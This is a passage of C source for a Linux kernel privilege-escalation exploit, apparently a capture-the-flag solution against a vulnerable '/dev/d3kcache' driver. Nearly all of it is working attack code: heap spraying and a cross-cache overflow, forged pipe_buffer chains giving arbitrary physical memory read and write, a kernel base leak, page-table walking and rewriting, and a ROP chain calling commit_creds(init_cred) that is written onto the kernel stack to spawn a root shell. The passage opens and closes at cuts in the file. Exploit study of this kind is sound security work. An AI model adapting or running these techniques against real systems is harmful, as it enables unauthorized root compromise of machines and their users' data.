// Write arbitrary physical memory via forged pipe_buffer chain
// Routes write operations through manipulated pipe buffers to target physical addresses
void arbitrary_phys_write(uint64_t target_page, uint32_t page_offset, void *input_data, uint64_t write_length) {
    debug_enabled = 0;

    // Stage 1: Reset fourth pipe to known alignment state
    read_target_pipe_buf.offset = 192 * 2;
    read_target_pipe_buf.len = 0;
    write(pipe_fds[chain_pipe_3_idx][1], &read_target_pipe_buf, PIPE_BUFFER_SIZE);

    // Stage 2: Redirect second pipe to target physical address
    read_target_pipe_buf.page = (struct page*)target_page;
    read_target_pipe_buf.offset = page_offset;
    read_target_pipe_buf.len = 0;
    write(pipe_fds[chain_pipe_4_idx][1], &read_target_pipe_buf, PIPE_BUFFER_SIZE);

    // Stage 3: Flush alignment padding to maintain pipe buffer layout
    memset(pipe_buffer_data, 0, 96);
    write(pipe_fds[chain_pipe_4_idx][1], pipe_buffer_data, 96 - PIPE_BUFFER_SIZE);

    // Stage 4: Restore third pipe to safe state while preserving redirection
    read_target_pipe_buf.page = fake_pipe_buf.page;
    read_target_pipe_buf.offset = 192 * 3;
    read_target_pipe_buf.len = 0;
    write(pipe_fds[chain_pipe_4_idx][1], &read_target_pipe_buf, PIPE_BUFFER_SIZE);

    // Stage 5: Inject data via second pipe write operation
    write(pipe_fds[chain_pipe_2_idx][1], input_data, write_length);
}

/*
 * ============================================================================
 * KERNEL MEMORY DISCOVERY
 * ============================================================================
 */

// Determine vmemmap_base by scanning physical memory for kernel text signature
// Uses known secondary_startup_64 offset to validate candidate addresses
void find_vmemmap_base(void){
    // Start scan from page-aligned address derived from leaked page pointer
    vmemmap_base = (size_t)fake_pipe_buf.page & 0xfffffffff0000000;
    size_t round = 0;

    for (round = 0; ;round++) {
        size_t candidate_value[4] = {0};
        arbitrary_phys_read((vmemmap_base + 0x2740), 0, candidate_value, 0x10);

        // Verify candidate matches secondary_startup_64 signature and kernel base constraints
        if (candidate_value[0] > kernel_base && ((candidate_value[0] & 0xfff) == (SECONDARY_STARTUP_64 & 0xfff))) {
            log.success("Located secondary_startup_64 signature in physmem, addr=0x%lx", candidate_value[0]);
            break;
        }
        vmemmap_base -= 0x10000000; // Step backward through physical memory regions
    }
    log.success("Successfully mapped vmemmap_base address: 0x%lx", vmemmap_base);
}

// Scan physical memory to locate current task_struct instances
// Identifies tasks by comm string patterns and validates surrounding task_struct fields
void scan_for_task_structs(void) {
    size_t round = 0;
    char page_content_buffer[0x1000] = {0};
    size_t *current_comm_ptr;

    // Set unique process identifier for reliable memory scanning
    prctl(PR_SET_NAME, "pwn4kernel");
    log.info("Scanning physical memory pages to identify active task_struct instances");

    for (round = 0; ; round++) {
        memset(page_content_buffer, 0, 0x1000);
        arbitrary_phys_read((vmemmap_base + round * 0x40), 0, page_content_buffer, 0xf00);

        current_comm_ptr = (size_t*)memmem(page_content_buffer, 0xf00, "pwn4kernel", 10);

        // Validate current task_struct by checking critical field integrity
        if (current_comm_ptr && (current_comm_ptr[-2] > 0xffff888000000000)      // cred validity
            && (current_comm_ptr[-3] > 0xffff888000000000)                       // real_cred validity
            && (current_comm_ptr[-57] > 0xffff888000000000)                      // real_parent validity
            && (current_comm_ptr[-56] > 0xffff888000000000)) {                   // parent validity
            parent_task_addr = current_comm_ptr[-57];                            // Capture parent pointer

            // Derive task_struct address from ptraced field pointer
            current_task_addr = current_comm_ptr[-50] - 0x9e0;

            // Calculate page_offset_base from physical memory mapping
            page_offset_base = (current_comm_ptr[-50] & 0xfffffffffffff000) - round * 0x1000;
            page_offset_base &= 0xfffffffff0000000;
            current_task_page_addr = (vmemmap_base + round * 0x40);
            log.success("[Round %d] Mapped current task_struct to phys page: 0x%lx", round, current_task_page_addr);
            log.success("[Round %d] Resolved page_offset_base mapping addr: 0x%lx", round, page_offset_base);
            log.success("[Round %d] Captured parent task_struct virt addr: 0x%lx", round, parent_task_addr);
            log.success("[Round %d] Resolved current task_struct virt addr: 0x%lx", round, current_task_addr);
            break;
        }
    }
}

/*
 * ============================================================================
 * PRIVILEGE ESCALATION
 * ============================================================================
 */

#define PTE_OFFSET 12
#define PMD_OFFSET 21
#define PUD_OFFSET 30
#define PGD_OFFSET 39

#define PT_ENTRY_MASK 0b111111111UL
#define PTE_MASK (PT_ENTRY_MASK << PTE_OFFSET)
#define PMD_MASK (PT_ENTRY_MASK << PMD_OFFSET)
#define PUD_MASK (PT_ENTRY_MASK << PUD_OFFSET)
#define PGD_MASK (PT_ENTRY_MASK << PGD_OFFSET)

#define PTE_ENTRY(addr) ((addr >> PTE_OFFSET) & PT_ENTRY_MASK)
#define PMD_ENTRY(addr) ((addr >> PMD_OFFSET) & PT_ENTRY_MASK)
#define PUD_ENTRY(addr) ((addr >> PUD_OFFSET) & PT_ENTRY_MASK)
#define PGD_ENTRY(addr) ((addr >> PGD_OFFSET) & PT_ENTRY_MASK)

#define PAGE_ATTR_RW (1UL << 1)
#define PAGE_ATTR_NX (1UL << 63)

// Kernel page table management state tracking
size_t pgd_addr;                            // Page global directory address
size_t mm_struct_addr;                      // Memory management structure address
size_t *mm_struct_buf;                      // Buffer for mm_struct data
size_t stack_addr;                          // Current kernel stack virtual address
size_t stack_addr_another;                  // Alternate kernel stack virtual address
size_t stack_page;                          // Physical page containing kernel stack
size_t mm_struct_page;                      // Physical page containing mm_struct

// Traverse 4-level paging hierarchy to resolve virtual address to physical address
// Returns physical page frame number for the given virtual address
size_t vaddr_resolve(size_t pgd_addr, size_t vaddr) {
  size_t page_table_buffer[0x1000];
  size_t pud_addr, pmd_addr, pte_addr, pte_val;

  // Level 4: Page Global Directory -> Page Upper Directory
  arbitrary_phys_read(direct_map_addr_to_page_addr(pgd_addr), 0, page_table_buffer, 0x1000);
  arbitrary_phys_read(direct_map_addr_to_page_addr(pgd_addr), 0x1000, &page_table_buffer[512], 0xf00);
  pud_addr = (page_table_buffer[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
  pud_addr += page_offset_base;
  log.debug("Resolved PGD(%#lx)[%#lx] -> PUD: %#lx", pgd_addr, PGD_ENTRY(vaddr), pud_addr);

  // Level 3: Page Upper Directory -> Page Middle Directory
  arbitrary_phys_read(direct_map_addr_to_page_addr(pud_addr), 0, page_table_buffer, 0x1000);
  arbitrary_phys_read(direct_map_addr_to_page_addr(pud_addr), 0x1000, &page_table_buffer[512], 0xf00);
  pmd_addr = (page_table_buffer[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
  pmd_addr += page_offset_base;
  log.debug("Resolved PUD(%#lx)[%#lx] -> PMD: %#lx", pud_addr, PUD_ENTRY(vaddr), pmd_addr);

  // Level 2: Page Middle Directory -> Page Table Entry
  arbitrary_phys_read(direct_map_addr_to_page_addr(pmd_addr), 0, page_table_buffer, 0x1000);
  arbitrary_phys_read(direct_map_addr_to_page_addr(pmd_addr), 0x1000, &page_table_buffer[512], 0xf00);
  pte_addr = (page_table_buffer[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
  pte_addr += page_offset_base;
  log.debug("Resolved PMD(%#lx)[%#lx] -> PTE: %#lx", pmd_addr, PMD_ENTRY(vaddr), pte_addr);

  // Level 1: Page Table Entry -> Physical Page Frame
  arbitrary_phys_read(direct_map_addr_to_page_addr(pte_addr), 0, page_table_buffer, 0x1000);
  arbitrary_phys_read(direct_map_addr_to_page_addr(pte_addr), 0x1000, &page_table_buffer[512], 0xf00);
  pte_val = (page_table_buffer[PTE_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
  log.debug("Resolved PTE(%#lx)[%#lx] -> Physical frame: %#lx", pte_addr, PTE_ENTRY(vaddr), pte_val);
  return pte_val;
}

// Optimized virtual address resolution for 3-level paging (legacy PAE mode)
// Skips PTE level for 2MB large pages with 3-level hierarchy
size_t vaddr_resolve_for_3_level(size_t pgd_addr, size_t vaddr) {
  size_t page_table_buffer[0x1000];
  size_t pud_addr, pmd_addr, pmd_value;

  // Level 4: Page Global Directory -> Page Upper Directory
  arbitrary_phys_read(direct_map_addr_to_page_addr(pgd_addr), 0, page_table_buffer, 0x1000);
  arbitrary_phys_read(direct_map_addr_to_page_addr(pgd_addr), 0x1000, &page_table_buffer[512], 0xf00);
  pud_addr = (page_table_buffer[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
  pud_addr += page_offset_base;
  log.debug("Resolved PGD(%#lx)[%#lx] -> PUD: %#lx", pgd_addr, PGD_ENTRY(vaddr), pud_addr);

  // Level 3: Page Upper Directory -> Page Middle Directory
  arbitrary_phys_read(direct_map_addr_to_page_addr(pud_addr), 0, page_table_buffer, 0x1000);
  arbitrary_phys_read(direct_map_addr_to_page_addr(pud_addr), 0x1000, &page_table_buffer[512], 0xf00);
  pmd_addr = (page_table_buffer[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
  pmd_addr += page_offset_base;
  log.debug("Resolved PUD(%#lx)[%#lx] -> PMD: %#lx", pud_addr, PUD_ENTRY(vaddr), pmd_addr);

  // Level 2: Page Middle Directory -> 2MB large page frame
  arbitrary_phys_read(direct_map_addr_to_page_addr(pmd_addr), 0, page_table_buffer, 0x1000);
  arbitrary_phys_read(direct_map_addr_to_page_addr(pmd_addr), 0x1000, &page_table_buffer[512], 0xf00);
  pmd_value = (page_table_buffer[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
  log.debug("Resolved PMD(%#lx)[%#lx] -> value: %#lx", pmd_addr, PMD_ENTRY(vaddr), pmd_value);
  return pmd_value;
}

// Remap virtual address to new physical address by modifying page table entries
// Establishes writable mapping for target virtual address
void vaddr_remapping(size_t pgd_addr, size_t vaddr, size_t paddr) {
  size_t page_table_buffer[0x1000];
  size_t pud_addr, pmd_addr, pte_addr, pte_val;

  // Level 4: Page Global Directory -> Page Upper Directory
  arbitrary_phys_read(direct_map_addr_to_page_addr(pgd_addr), 0, page_table_buffer, 0x1000);
  arbitrary_phys_read(direct_map_addr_to_page_addr(pgd_addr), 0x1000, page_table_buffer, 0xf00);
  pud_addr = (page_table_buffer[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
  pud_addr += page_offset_base;
  log.debug("Resolved PGD(%#lx)[%#lx] -> PUD: %#lx", pgd_addr, PGD_ENTRY(vaddr), pud_addr);

  // Level 3: Page Upper Directory -> Page Middle Directory
  arbitrary_phys_read(direct_map_addr_to_page_addr(pud_addr), 0, page_table_buffer, 0x1000);
  arbitrary_phys_read(direct_map_addr_to_page_addr(pud_addr), 0x1000, &page_table_buffer[512], 0xf00);
  pmd_addr = (page_table_buffer[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
  pmd_addr += page_offset_base;
  log.debug("Resolved PUD(%#lx)[%#lx] -> PMD: %#lx", pud_addr, PUD_ENTRY(vaddr), pmd_addr);

  // Level 2: Page Middle Directory -> Page Table Entry
  arbitrary_phys_read(direct_map_addr_to_page_addr(pmd_addr), 0, page_table_buffer, 0x1000);
  arbitrary_phys_read(direct_map_addr_to_page_addr(pmd_addr), 0x1000, &page_table_buffer[512], 0xf00);
  pte_addr = (page_table_buffer[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
  pte_addr += page_offset_base;
  log.debug("Resolved PMD(%#lx)[%#lx] -> PTE: %#lx", pmd_addr, PMD_ENTRY(vaddr), pte_addr);

  // Level 1: Read current PTE value before modification
  arbitrary_phys_read(direct_map_addr_to_page_addr(pte_addr), 0, page_table_buffer, 0x1000);
  arbitrary_phys_read(direct_map_addr_to_page_addr(pte_addr), 0x1000, &page_table_buffer[512], 0xf00);
  pte_val = (page_table_buffer[PTE_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
  log.debug("Resolved PTE(%#lx)[%#lx] -> Physical frame: %#lx", pte_addr, PTE_ENTRY(vaddr), pte_val);

  // Update PTE with new physical address and writable permissions
  page_table_buffer[PTE_ENTRY(vaddr)] = paddr | 0x8000000000000867; // Set writable flag
  log.debug("Updated PTE(%#lx)[%#lx] -> Physical frame: %#lx",
      pte_addr, PTE_ENTRY(vaddr), page_table_buffer[PTE_ENTRY(vaddr)]);
  arbitrary_phys_write(direct_map_addr_to_page_addr(pte_addr), 0, page_table_buffer, 0x1000);
  arbitrary_phys_write(direct_map_addr_to_page_addr(pte_addr), 0x1000, &page_table_buffer[512], 0xf00);
}

// Extract process memory management structures from task_struct
// Resolves kernel page table root (PGD) and stack addresses for ROP targeting
void pgd_vaddr_resolve(void) {
  size_t round = 0;
  size_t page_buffer[0x1000];
  size_t *current_comm_ptr = NULL;

  log.info("Reading current task_struct via physical memory mapping");
  for (round = 0; ; round++) {
      memset(page_buffer, 0, 0x1000);
      arbitrary_phys_read(((current_task_page_addr & (~0xfff)) + round * 0x40), 0, page_buffer, 0xf00);

      current_comm_ptr = (size_t*)memmem(page_buffer, 0xf00, "pwn4kernel", 10);

      // Validate current task_struct by checking critical field integrity
      if (current_comm_ptr && (current_comm_ptr[-2] > 0xffff888000000000)      // cred validity
          && (current_comm_ptr[-3] > 0xffff888000000000)                       // real_cred validity
          && (current_comm_ptr[-57] > 0xffff888000000000)                      // real_parent validity
          && (current_comm_ptr[-56] > 0xffff888000000000)) {                   // parent validity
          mm_struct_addr = current_comm_ptr[-74];
          stack_addr = current_comm_ptr[-362];
          log.success("[Round %d] Resolved kernel stack virtual address: 0x%lx", round, stack_addr);
          log.success("[Round %d] Resolved mm_struct virtual address: 0x%lx", round, mm_struct_addr);
          if (mm_struct_addr > 0xffff888000000000 && stack_addr > 0xffff888000000000) {
              break;
          }
      }
  }

  mm_struct_page = direct_map_addr_to_page_addr(mm_struct_addr);
  log.success("[Round %d] Calculated mm_struct physical page: 0x%lx", round, mm_struct_page);

  // Read mm_struct to extract page table root
  arbitrary_phys_read(mm_struct_page, 0, page_buffer, 0xf00);
  mm_struct_buf = (size_t *)((size_t)page_buffer + (mm_struct_addr & 0xfff));
  pgd_addr = mm_struct_buf[9]; // mm->pgd field index
  log.success("[Round %d] Extracted kernel page table root (PGD): 0x%lx", round, pgd_addr);
}

#ifndef PAGE_SIZE
#define PAGE_SIZE 0x1000
#endif

#ifndef PAGE_MASK
#define PAGE_MASK (~(PAGE_SIZE - 1))
#endif

// Kernel symbol offsets for ROP chain construction
#define COMMIT_CREDS 0xffffffff81128bf0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff82201a90
#define INIT_CRED 0xffffffff83079ee8
#define POP_RDI_RET 0xffffffff819bf1ab
#define RET 0xffffffff8100039f

/**
 * Kernel privilege escalation via ROP chain injection
 *
 * This method constructs a ROP chain on the kernel stack to elevate privileges
 * to root. The exploit uses arbitrary physical memory read/write to locate the
 * kernel stack and overwrite return addresses with a carefully crafted ROP chain.
 *
 * Alternative approaches considered:
 * 1. Direct task_struct modification (simpler but requires precise offsets)
 * 2. Pipe write stack ROP (requires no CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT)
 *
 * The ROP approach provides a more general exploitation method that doesn't
 * require detailed knowledge of kernel data structure layouts.
 */
void privilege_escalation_by_rop_chain(void) {
  size_t rop_chain[0x1000];
  size_t rop_index = 0;

retry_exploit:

  // Step 1: Resolve kernel page table and stack addresses
  log.info("Resolving kernel page table hierarchy for stack manipulation");
  pgd_vaddr_resolve();

  // Step 2: Locate physical page containing kernel stack
  log.info("Traversing page tables to locate kernel stack physical page");

  /**
   * Kernel stacks are allocated in vmalloc region and may not be physically contiguous.
   * We target the last page of the 4-page kernel stack to avoid interfering with
   * active stack frames while ensuring our ROP chain will be executed on return.
   */
  stack_addr_another = vaddr_resolve(pgd_addr, stack_addr + PAGE_SIZE * 3);
  stack_addr_another &= (~PAGE_ATTR_NX); // Clear NX bit for executable mapping
  stack_addr_another += page_offset_base;
  log.success("Located alternate kernel stack mapping: 0x%lx", stack_addr_another);

  stack_page = direct_map_addr_to_page_addr(stack_addr_another);
  log.info("Calculated kernel stack target page: 0x%lx", stack_page);

  // Step 3: Construct ROP chain with stack pivot preparation
  log.info("Constructing ROP chain for privilege escalation");

  // Fill initial stack space with RET sled for alignment
  for (int i = 0; i < ((0x1000 - 0x100) / 8); i++) {
    rop_chain[rop_index++] = RET + kernel_offset;
  }

  // Privilege escalation ROP chain components
  rop_chain[rop_index++] = POP_RDI_RET + kernel_offset;           // pop rdi; ret
  rop_chain[rop_index++] = INIT_CRED + kernel_offset;             // init_cred address
  rop_chain[rop_index++] = COMMIT_CREDS + kernel_offset;         // commit_creds(init_cred)
  rop_chain[rop_index++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x42 + kernel_offset;
  rop_chain[rop_index++] = *(size_t *)"BinRacer";                // dummy rax
  rop_chain[rop_index++] = *(size_t *)"BinRacer";                // dummy rdi
  rop_chain[rop_index++] = (size_t)get_root_shell;               // return to shell function
  rop_chain[rop_index++] = user_cs;                              // saved cs
  rop_chain[rop_index++] = user_rflags;                          // saved rflags
  rop_chain[rop_index++] = (user_sp + 8);                        // adjusted stack pointer
  rop_chain[rop_index++] = user_ss;                             // saved ss

  // Step 4: Write ROP chain to kernel stack via physical memory access
  log.info("Injecting ROP chain onto kernel stack page");
  log.info("Kernel stack target page: 0x%lx, offset: 0x0", stack_page);

  fflush(stdout);
  sleep(5); // Brief pause for system stabilization

  arbitrary_phys_write(stack_page, 0, rop_chain, 0xff0);
  log.success("ROP chain successfully injected into kernel stack");

  // Step 5: Trigger kernel execution of ROP chain
  // The chain will execute on next kernel-to-user mode transition
  // If we reach this point, the exploit failed and we retry
  log.warn("ROP chain injection completed - waiting for privilege escalation");
  log.warn("If root shell not obtained, retrying exploitation...");
  goto retry_exploit;
}

/*
 * ============================================================================
 * EXPLOIT PHASE IMPLEMENTATIONS
 * ============================================================================
 */

// Phase 1: Initialize exploit environment and driver interface
// Sets up CPU affinity, saves execution state, and opens the vulnerable device
void setup_environment(void) {
    bind_core(0);
    save_status();

    log.info("Opening vulnerable character device /dev/d3kcache for exploitation");
    vuln_dev_fd = open("/dev/d3kcache", O_RDWR);
    if (vuln_dev_fd < 0) {
        log.error("Failed to access device - check module load status and permissions");
        exit(EXIT_FAILURE);
    }
    log.success("Successfully initialized vulnerable device interface [fd: %d]", vuln_dev_fd);

    log.info("Preparing page spraying infrastructure for heap manipulation phase");
    prepare_pgv_system();
}

// Phase 2: Shape heap memory layout for precise slab targeting
// Sprays pipes and pages to create controlled fragmentation and object placement
void prepare_heap_layout(void) {
    log.info("Writing identification markers to pipe buffers for corruption detection");
    for (int i = 0; i < MAX_PIPES + 0x70; i++) {
        create_pipe(i);
        pipe_buffer_data[0] = *(size_t*)"BinRacer";         // Leading magic value for validation
        pipe_buffer_data[1] = i;                            // Pipe index identifier
        pipe_buffer_data[192 / 8] = *(size_t*)"BinRacer";   // Trailing magic value for validation
        pipe_buffer_data[(192 / 8) + 1] = i;                // Index verification marker
        write(pipe_fds[i][1], pipe_buffer_data, 192 * 2);
    }

    log.info("Spraying %d order-3 socket pages to apply heap memory pressure", INITIAL_PAGE_SPRAY);
    for (int i = 0; i < INITIAL_PAGE_SPRAY; i++) {
        if (alloc_page(i, 0x1000 * 8, 1) < 0) {
            log.error("Page allocation failed at index %d during heap spraying", i);
            exit(EXIT_FAILURE);
        }
    }

    log.info("Creating strategic memory fragmentation by freeing alternating pages");
    for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2) free_page(i);

    log.info("Redirecting kmalloc-4k pipe buffers into freed memory regions via resize operations");
    for (int i = 0; i < MAX_PIPES; i++) resize_pipe_buffer(i, 0x1000 * 64);

    log.info("Releasing alternate sprayed pages to isolate target kmalloc-2k slab page");
    for (int i = 0; i < INITIAL_PAGE_SPRAY; i += 2) free_page(i);
    log.success("Completed heap layout engineering for cross-cache targeting");
}

// Phase 3-A: Execute cross-cache overflow against target slab
// Occupies target slab pages and triggers overflow into adjacent cache
void trigger_cross_cache_overflow(void) {
    // kmlloc-4k / order 3
    for (int i = MAX_PIPES; i < MAX_PIPES + 0x70; i++) resize_pipe_buffer(i, 0x1000 * 64);
    log.info("Occupying %d isolation pages with vulnerable driver kmalloc chunks", FINAL_PAGE_SPRAY);
    for (int i = 0; i < FINAL_PAGE_SPRAY; i++) {
        memset(overflow_payload, 0, 2048);
        kcache_alloc(i, 2048 - 8, overflow_payload);
    }
    log.info("Building cross-cache overflow payload with trailing null termination");
    for (int i = 0; i < FINAL_PAGE_SPRAY; i++) {
        memset(overflow_payload, 0, 2048);
        kcache_append(i, 8, overflow_payload);
    }
    log.success("Cross-cache overflow payload deployed to target slab page");
}

// Phase 3-B: Identify corrupted pipe objects resulting from overflow
// Scans pipe array for magic value corruption indicating successful slab overflow
int identify_corrupted_pipes(void) {
    log.info("Inspecting pipe array for metadata corruption caused by overflow");

    for (int i = 0; i < MAX_PIPES; i++) {
        memset(pipe_buffer_data, 0, 192);
        read(pipe_fds[i][0], pipe_buffer_data, PIPE_BUFFER_SIZE);

        // Detect magic value overwrite indicating successful cross-cache overflow
        if (pipe_buffer_data[0] == 0x72656361526e6942 && pipe_buffer_data[1] != i) {
            victim_pipe_idx = pipe_buffer_data[1];
            overlap_pipe_idx = i;

            if(debug_enabled) {
                hex_dump("Corrupted pipe_buffer metadata dump:", (char *)pipe_buffer_data, PIPE_BUFFER_SIZE + 0x8);
            }
            log.success("Found corruption pair - Victim pipe: %d, Controller pipe: %d",
                        victim_pipe_idx, overlap_pipe_idx);
        }
        // Consume residual pipe data to reset read pointers
        read(pipe_fds[i][0], pipe_buffer_data, 192 - PIPE_BUFFER_SIZE);
    }

    if (overlap_pipe_idx == -1) {
        log.error("No pipe corruption detected - cross-cache overflow failed to land");
        return -1;
    }
    return 0;
}

// Phase 3-C: Extract kernel metadata from corrupted pipe_buffer
// Reads leaked kernel pointers from smashed pipe_buffer to establish runtime addresses
void extract_kernel_pointers(void) {
    log.info("Reading kernel pointer metadata from corrupted pipe_buffer structure");

    // Release victim pipe to destabilize heap state and prevent interference
    // free pipe_buffer->page to order 0
    close(pipe_fds[victim_pipe_idx][0]);
    close(pipe_fds[victim_pipe_idx][1]);

    // Stabilize heap layout by adjusting surviving pipe buffer sizes
    for (int i = 0; i < MAX_PIPES; i++) {
        if(i == victim_pipe_idx || i == overlap_pipe_idx) continue;
        // kmalloc-192 / order 0
        resize_pipe_buffer(i, 0x1000 * 4);
    }

    // Extract kernel pointers from overlapping pipe_buffer structure
    memset(pipe_buffer_data, 0, PIPE_BUFFER_SIZE);
    read(pipe_fds[overlap_pipe_idx][0], pipe_buffer_data, PIPE_BUFFER_SIZE);

    struct pipe_buffer leaked_pipe_buf = {0};
    leaked_pipe_buf.page = (struct page *)pipe_buffer_data[0];
    leaked_pipe_buf.offset = (int)(pipe_buffer_data[1] & 0xFFFFFFFFUL);
    leaked_pipe_buf.len = (int)(pipe_buffer_data[1]>>32);
    leaked_pipe_buf.ops = (struct pipe_buf_operations *)pipe_buffer_data[2];
    leaked_pipe_buf.flags = (int)(pipe_buffer_data[3] & 0xFFFFFFFFUL);
    leaked_pipe_buf.private = pipe_buffer_data[4];

    // Calculate kernel base using known static symbol offset
    kernel_offset = pipe_buffer_data[2] - ANON_PIPE_BUF_OPS;
    kernel_base += kernel_offset;

    if(debug_enabled) {
        hex_dump("Raw kernel pointer extraction from corrupted pipe_buffer:", (char *)pipe_buffer_data, PIPE_BUFFER_SIZE + 0x8);
    }

    log.success("Recovered pipe_buffer->page kernel pointer: 0x%lx", leaked_pipe_buf.page);
    log.success("Recovered pipe_buffer->ops function pointer: 0x%lx", leaked_pipe_buf.ops);
    log.success("Calculated runtime kernel base address: 0x%lx", kernel_base);
    log.success("Resolved kernel ASLR offset delta: 0x%lx", kernel_offset);

    // Construct primary forged pipe_buffer for controlled memory access
    memset(&fake_pipe_buf, 0, PIPE_BUFFER_SIZE);
    memcpy(&fake_pipe_buf, &leaked_pipe_buf, PIPE_BUFFER_SIZE);
    fake_pipe_buf.page = (struct page *)((uint64_t)(fake_pipe_buf.page) & (~0xff));
    write(pipe_fds[overlap_pipe_idx][1], &fake_pipe_buf, PIPE_BUFFER_SIZE);

    if(debug_enabled) {
        hex_dump("Primary forged pipe_buffer configuration:", (char *)&fake_pipe_buf, PIPE_BUFFER_SIZE + 0x8);
    }
}

// Phase 3-D: Build arbitrary physical R/W primitives via pipe chain
// Establishes interconnected self-referential pipes for arbitrary memory operations
int build_arbitrary_rw_chain(void) {
    log.info("Constructing arbitrary physical memory access pipeline via pipe chain");

    // Identify secondary corruption pair for additional control
    for (int i = 0; i < MAX_PIPES; i++) {
        if(i == victim_pipe_idx || i == overlap_pipe_idx) continue;

        memset(pipe_buffer_data, 0, PIPE_BUFFER_SIZE);
        read(pipe_fds[i][0], pipe_buffer_data, PIPE_BUFFER_SIZE);

        if (pipe_buffer_data[0] == 0x72656361526e6942 && pipe_buffer_data[1] != i) {
            second_victim_pipe_idx = pipe_buffer_data[1];
            second_overlap_pipe_idx = i;

            if(debug_enabled) {
                hex_dump("Secondary corruption metadata dump:", (char *)pipe_buffer_data, PIPE_BUFFER_SIZE + 0x8);
            }
            log.success("Located secondary corruption pair - Victim pipe: %d, Controller pipe: %d",
                        second_victim_pipe_idx, second_overlap_pipe_idx);
        }
    }

    if (second_overlap_pipe_idx == -1) {
        log.error("Secondary corruption not found - heap layout is unstable for chaining");
        return -1;
    }
    // Release secondary victim pipe to simplify heap management
    // free pipe_buffer->page to order 0
    close(pipe_fds[second_victim_pipe_idx][0]);
    close(pipe_fds[second_victim_pipe_idx][1]);
    // Realign heap layout for stable chain construction
    for (int i = 0; i < MAX_PIPES; i++) {
        if(i == victim_pipe_idx || i == overlap_pipe_idx ||
           i == second_victim_pipe_idx || i == second_overlap_pipe_idx) continue;
        // kmalloc-96 / order 0
        resize_pipe_buffer(i, 0x1000 * 2);
    }

    // Initialize secondary forged pipe_buffer chain component
    memset(&chain_pipe_buf, 0, PIPE_BUFFER_SIZE);
    memcpy(&chain_pipe_buf, &fake_pipe_buf, PIPE_BUFFER_SIZE);
    chain_pipe_buf.offset = 192 * 2;
    chain_pipe_buf.len = 96;
    memcpy(&read_target_pipe_buf, &chain_pipe_buf, PIPE_BUFFER_SIZE);
    memcpy(&write_target_pipe_buf, &chain_pipe_buf, PIPE_BUFFER_SIZE);

    write(pipe_fds[second_overlap_pipe_idx][1], &chain_pipe_buf, PIPE_BUFFER_SIZE);

    if(debug_enabled) {
        hex_dump("Secondary forged pipe_buffer state:", (char *)&chain_pipe_buf, PIPE_BUFFER_SIZE);
    }

    // Identify self-referential pipe indices for arbitrary R/W chain construction
    for (int i = 0; i < MAX_PIPES; i++) {
        if(i == victim_pipe_idx || i == overlap_pipe_idx ||
           i == second_victim_pipe_idx || i == second_overlap_pipe_idx) continue;

        memset(pipe_buffer_data, 0, PIPE_BUFFER_SIZE);
        read(pipe_fds[i][0], pipe_buffer_data, PIPE_BUFFER_SIZE);

        if (pipe_buffer_data[0] == (size_t)fake_pipe_buf.page) {
            chain_pipe_2_idx = i;
            if(debug_enabled) {
                hex_dump("Self-referential pipe #2 state:", (char *)pipe_buffer_data, PIPE_BUFFER_SIZE + 0x8);
            }
            log.success("Selected self-referential pipe for chain position #2: %d", chain_pipe_2_idx);
        }
    }

    if (chain_pipe_2_idx == -1) return -1;

    // Configure tertiary pipe linkage in the control chain
    memset(pipe_buffer_data, 0, 96);
    write(pipe_fds[second_overlap_pipe_idx][1], pipe_buffer_data, 96 - PIPE_BUFFER_SIZE);

    chain_pipe_buf.offset = 192 * 2;
    chain_pipe_buf.len = 96;
    write(pipe_fds[second_overlap_pipe_idx][1], &chain_pipe_buf, PIPE_BUFFER_SIZE);

    // Identify third control pipe for chain extension
    for (int i = 0; i < MAX_PIPES; i++) {
        if(i == victim_pipe_idx || i == overlap_pipe_idx ||
           i == second_victim_pipe_idx || i == second_overlap_pipe_idx ||
           i == chain_pipe_2_idx) continue;

        memset(pipe_buffer_data, 0, PIPE_BUFFER_SIZE);
        read(pipe_fds[i][0], pipe_buffer_data, PIPE_BUFFER_SIZE);

        if (pipe_buffer_data[0] == (size_t)fake_pipe_buf.page) {
            chain_pipe_3_idx = i;
            if(debug_enabled) {
                hex_dump("Self-referential pipe #3 state:", (char *)pipe_buffer_data, PIPE_BUFFER_SIZE + 0x8);
            }
            log.success("Selected self-referential pipe for chain position #3: %d", chain_pipe_3_idx);
        }
    }

    if (chain_pipe_3_idx == -1) return -1;

    // Configure final pipe linkage in the control chain
    memset(pipe_buffer_data, 0, 96);
    write(pipe_fds[second_overlap_pipe_idx][1], pipe_buffer_data, 96 - PIPE_BUFFER_SIZE);

    chain_pipe_buf.offset = 192 * 2;
    chain_pipe_buf.len = 96;
    write(pipe_fds[second_overlap_pipe_idx][1], &chain_pipe_buf, PIPE_BUFFER_SIZE);

    // Identify fourth control pipe to complete the chain
    for (int i = 0; i < MAX_PIPES; i++) {
        if(i == victim_pipe_idx || i == overlap_pipe_idx ||
           i == second_victim_pipe_idx || i == second_overlap_pipe_idx ||
           i == chain_pipe_2_idx || i == chain_pipe_3_idx) continue;

        memset(pipe_buffer_data, 0, PIPE_BUFFER_SIZE);
        read(pipe_fds[i][0], pipe_buffer_data, PIPE_BUFFER_SIZE);

        if (pipe_buffer_data[0] == (size_t)fake_pipe_buf.page) {
            chain_pipe_4_idx = i;
            if(debug_enabled) {
                hex_dump("Self-referential pipe #4 state:", (char *)pipe_buffer_data, PIPE_BUFFER_SIZE + 0x8);
            }
            log.success("Selected self-referential pipe for chain position #4: %d", chain_pipe_4_idx);
        }
    }

    if (chain_pipe_4_idx == -1) return -1;

